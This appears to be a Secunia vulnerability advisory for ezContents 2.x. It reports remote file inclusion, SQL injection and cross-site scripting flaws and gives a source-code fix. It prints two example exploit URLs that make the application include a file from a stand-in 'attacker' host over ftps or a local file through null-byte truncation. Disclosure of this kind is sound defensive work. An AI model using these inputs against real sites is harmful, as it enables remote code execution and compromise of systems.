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TITLE:
ezContents Multiple Vulnerabilities

SECUNIA ADVISORY ID:
SA21703

VERIFY ADVISORY:
http://secunia.com/advisories/21703/

CRITICAL:
Highly critical

IMPACT:
Cross Site Scripting, Manipulation of data, System access

WHERE:
>From remote

SOFTWARE:
ezContents 2.x
http://secunia.com/product/2789/

DESCRIPTION:
DarkFig has discovered some vulnerabilities in ezContents, which can
be exploited by malicious people to conduct cross-site scripting and
SQL injection attacks or to compromise a vulnerable system.

1) An error within the "moduleExternalLink()" function in
modules/moduleSec.php allows to include arbitrary files from local
resources, or from external resources by e.g. using the "ftps"
protocol. Note that the "isExternalLink()" function in
include/functions.php and the "adminExternalLink()" function in
admin/adminbutton.php suffer from the same error.

Example:
http://host/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=ftps://attacker/file.php
http://host/modules/diary/event_list.php?GLOBALS[rootdp]=&GLOBALS[admin_home]=/tmp/file.php%00

2) Input passed to the "groupname" parameter in headeruserdata.php is
not properly sanitised before being used in a SQL query. This can be
exploited to manipulate SQL queries by injection arbitrary SQL code.

3) Input passed to the "subgroupname" parameter in loginreg2.php is
not properly sanitised before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's
browser session in context of a vulnerable site.

The vulnerabilities have been confirmed in version 2.0.3. Other
versions may also be affected.

SOLUTION:
Edit the source code to ensure that input is properly verified.

PROVIDED AND/OR DISCOVERED BY:
DarkFig

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About:
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